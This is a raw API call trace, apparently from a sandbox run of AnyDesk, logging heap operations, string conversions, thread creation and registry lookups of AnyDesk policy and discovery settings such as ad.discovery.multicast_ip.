[0194.147] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11870 [0194.147] RegQueryValueExW (in: hKey=0x0, lpValueName="features.update", lpReserved=0x0, lpType=0x2a7b628, lpData=0x0, lpcbData=0x2a7b62c*=0x0 | out: lpType=0x2a7b628*=0x0, lpData=0x0, lpcbData=0x2a7b62c*=0x0) returned 0x6 [0194.147] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b654 | out: phkResult=0x2a7b654*=0x0) returned 0x2 [0194.147] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11870 | out: hHeap=0x3b0000) returned 1 [0194.148] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa38 [0194.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.148] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4aa48 [0194.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4aa48, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.148] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa48 | out: hHeap=0x3b0000) returned 1 [0194.148] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2d) returned 0xe02888 [0194.148] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11870 [0194.148] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02888 | out: hHeap=0x3b0000) returned 1 [0194.148] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa48 [0194.148] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54c48 [0194.148] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33168 [0194.148] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa48 | out: hHeap=0x3b0000) returned 1 [0194.148] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa38 | out: hHeap=0x3b0000) returned 1 [0194.148] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe118c0 [0194.149] RegQueryValueExW (in: hKey=0x0, lpValueName="features.update", lpReserved=0x0, lpType=0x2a7b628, lpData=0x0, lpcbData=0x2a7b62c*=0x0 | out: lpType=0x2a7b628*=0x0, lpData=0x0, lpcbData=0x2a7b62c*=0x0) returned 0x6 [0194.149] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b654 | out: phkResult=0x2a7b654*=0x0) returned 0x2 [0194.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe118c0 | out: hHeap=0x3b0000) returned 1 [0194.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa08 | out: hHeap=0x3b0000) returned 1 [0194.149] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe54fb8 [0194.149] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa28 | out: hHeap=0x3b0000) returned 1 [0194.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0194.149] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe54fd0 [0194.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0xe54fd0, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0194.150] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fd0 | out: hHeap=0x3b0000) returned 1 [0194.150] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fb8 | out: hHeap=0x3b0000) returned 1 [0194.150] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54fb8 [0194.150] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x21c [0194.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x143ee60, lpParameter=0x2a7bb44, dwCreationFlags=0x4, lpThreadId=0x2a7bb58 | out: lpThreadId=0x2a7bb58*=0xb14) returned 0x218 [0194.152] ResumeThread (hThread=0x218) returned 0x1 [0194.152] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0xffffffff) returned 0x0 [0194.154] CloseHandle (hObject=0x21c) returned 1 [0194.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa28 [0194.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa08 [0194.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa38 [0194.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa48 [0194.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa58 [0194.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa68 [0194.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa78 [0194.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa88 [0194.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa98 [0194.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaa8 [0194.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa98 | out: hHeap=0x3b0000) returned 1 [0194.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa98 [0194.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaa8 | out: hHeap=0x3b0000) returned 1 [0194.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c5990, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0194.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aaa8 [0194.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c5990, cbMultiByte=-1, lpWideCharStr=0xe4aaa8, cchWideChar=2 | out: lpWideCharStr="-") returned 2 [0194.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c5990, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0194.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aab8 [0194.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c5990, cbMultiByte=-1, lpWideCharStr=0xe4aab8, cchWideChar=2 | out: lpWideCharStr="-") returned 2 [0194.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ddfc4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0194.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02888 [0194.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ddfc4, cbMultiByte=-1, lpWideCharStr=0xe02888, cchWideChar=21 | out: lpWideCharStr="ad.discovery.enabled") returned 21 [0194.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02a48 [0194.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02a80 [0194.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54c68 [0194.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02ab8 [0194.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02a80 | out: hHeap=0x3b0000) returned 1 [0194.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02888 | out: hHeap=0x3b0000) returned 1 [0194.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ef2bc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0194.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe32f88 [0194.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ef2bc, cbMultiByte=-1, lpWideCharStr=0xe32f88, cchWideChar=20 | out: lpWideCharStr="ad.discovery.hidden") returned 20 [0194.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe33198 [0194.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe331c8 [0194.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54c88 [0194.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe331f8 [0194.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe331c8 | out: hHeap=0x3b0000) returned 1 [0194.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32f88 | out: hHeap=0x3b0000) returned 1 [0194.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19efb3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0194.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe118c0 [0194.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19efb3c, cbMultiByte=-1, lpWideCharStr=0xe118c0, cchWideChar=13 | out: lpWideCharStr="ad.anynet.id") returned 13 [0194.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe118e8 [0194.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11910 [0194.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54ca8 [0194.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11938 [0194.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11910 | out: hHeap=0x3b0000) returned 1 [0194.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe118c0 | out: hHeap=0x3b0000) returned 1 [0194.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d81d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe118c0 [0194.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d81d0, cbMultiByte=-1, lpWideCharStr=0xe118c0, cchWideChar=16 | out: lpWideCharStr="ad.anynet.alias") returned 16 [0194.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11910 [0194.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aac8 [0194.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11960 [0194.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54cc8 [0194.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11988 [0194.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11960 | out: hHeap=0x3b0000) returned 1 [0194.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe118c0 | out: hHeap=0x3b0000) returned 1 [0194.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0653c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0194.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02888 [0194.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0653c, cbMultiByte=-1, lpWideCharStr=0xe02888, cchWideChar=21 | out: lpWideCharStr="ad.anynet.network_id") returned 21 [0194.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02a80 [0194.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aad8 [0194.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02af0 [0194.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54ce8 [0194.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe02b28 [0194.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02af0 | out: hHeap=0x3b0000) returned 1 [0194.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02888 | out: hHeap=0x3b0000) returned 1 [0194.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ddfdc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0194.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0xe10bd0 [0194.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ddfdc, cbMultiByte=-1, lpWideCharStr=0xe10bd0, cchWideChar=30 | out: lpWideCharStr="ad.discovery.default_behavior") returned 30 [0194.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0xe10c60 [0194.159] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0xe10ca8 [0194.159] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54d08 [0194.159] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0xe10cf0 [0194.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ca8 | out: hHeap=0x3b0000) returned 1 [0194.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10bd0 | out: hHeap=0x3b0000) returned 1 [0194.159] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x16) returned 0xe54d28 [0194.159] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aae8 [0194.159] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaf8 [0194.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a065e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0194.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe322f8 [0194.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a065e0, cbMultiByte=-1, lpWideCharStr=0xe322f8, cchWideChar=26 | out: lpWideCharStr="ad.discovery.multicast_ip") returned 26 [0194.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab18 [0194.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab18, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab28 [0194.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab38 [0194.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab38, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.160] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab38 | out: hHeap=0x3b0000) returned 1 [0194.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3b) returned 0xe10bd0 [0194.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02888 [0194.160] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10bd0 | out: hHeap=0x3b0000) returned 1 [0194.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab38 [0194.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54d48 [0194.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32538 [0194.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x280) returned 0xe4ada0 [0194.161] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0d7f0 | out: hHeap=0x3b0000) returned 1 [0194.161] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab38 | out: hHeap=0x3b0000) returned 1 [0194.161] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab28 | out: hHeap=0x3b0000) returned 1 [0194.161] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02af0 [0194.161] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.multicastip", lpReserved=0x0, lpType=0x2a7b5c0, lpData=0x0, lpcbData=0x2a7b5c4*=0x0 | out: lpType=0x2a7b5c0*=0x0, lpData=0x0, lpcbData=0x2a7b5c4*=0x0) returned 0x6 [0194.161] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b5ec | out: phkResult=0x2a7b5ec*=0x0) returned 0x2 [0194.161] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02af0 | out: hHeap=0x3b0000) returned 1 [0194.161] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab28 [0194.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.162] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab38 [0194.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab38, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.162] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab38 | out: hHeap=0x3b0000) returned 1 [0194.162] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3b) returned 0xe10bd0 [0194.162] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02af0 [0194.162] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10bd0 | out: hHeap=0x3b0000) returned 1 [0194.162] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab38 [0194.162] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54d68 [0194.162] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe325b8 [0194.162] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x280) returned 0xe4d1c0 [0194.162] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe08c48 | out: hHeap=0x3b0000) returned 1 [0194.162] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab38 | out: hHeap=0x3b0000) returned 1 [0194.162] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab28 | out: hHeap=0x3b0000) returned 1 [0194.162] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02b60 [0194.162] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.multicastip", lpReserved=0x0, lpType=0x2a7b5c0, lpData=0x0, lpcbData=0x2a7b5c4*=0x0 | out: lpType=0x2a7b5c0*=0x0, lpData=0x0, lpcbData=0x2a7b5c4*=0x0) returned 0x6 [0194.162] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b5ec | out: phkResult=0x2a7b5ec*=0x0) returned 0x2 [0194.163] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02b60 | out: hHeap=0x3b0000) returned 1 [0194.163] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.163] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe118c0 [0194.163] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab18 | out: hHeap=0x3b0000) returned 1 [0194.163] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaf8 | out: hHeap=0x3b0000) returned 1 [0194.163] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe11960 [0194.163] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe118c0 | out: hHeap=0x3b0000) returned 1 [0194.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe322f8 | out: hHeap=0x3b0000) returned 1 [0194.164] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaf8 [0194.164] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe118c0 [0194.164] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe119b0 [0194.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe118c0 | out: hHeap=0x3b0000) returned 1 [0194.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0a9a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0194.164] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54d88 [0194.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0a9a8, cbMultiByte=-1, lpWideCharStr=0xe54d88, cchWideChar=10 | out: lpWideCharStr="*.*.*.*:*") returned 10 [0194.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54d88 | out: hHeap=0x3b0000) returned 1 [0194.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0a9b4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0194.164] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe54fd0 [0194.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0a9b4, cbMultiByte=-1, lpWideCharStr=0xe54fd0, cchWideChar=8 | out: lpWideCharStr="*.*.*.*") returned 8 [0194.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fd0 | out: hHeap=0x3b0000) returned 1 [0194.164] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe118c0 [0194.164] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab18 [0194.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab18 | out: hHeap=0x3b0000) returned 1 [0194.164] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab18 [0194.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab18 | out: hHeap=0x3b0000) returned 1 [0194.164] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab18 [0194.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab18 | out: hHeap=0x3b0000) returned 1 [0194.165] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4ab18 [0194.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab18 | out: hHeap=0x3b0000) returned 1 [0194.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe118c0 | out: hHeap=0x3b0000) returned 1 [0194.165] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab18 [0194.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaf8 | out: hHeap=0x3b0000) returned 1 [0194.165] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaf8 [0194.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab18 | out: hHeap=0x3b0000) returned 1 [0194.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe119b0 | out: hHeap=0x3b0000) returned 1 [0194.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaf8 | out: hHeap=0x3b0000) returned 1 [0194.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a065fc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0194.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe322f8 [0194.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a065fc, cbMultiByte=-1, lpWideCharStr=0xe322f8, cchWideChar=28 | out: lpWideCharStr="ad.discovery.multicast_port") returned 28 [0194.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaf8 [0194.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab18 [0194.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab18, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab28 [0194.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab28, cchWideChar=4 | out: lpWideCharStr="ad.") 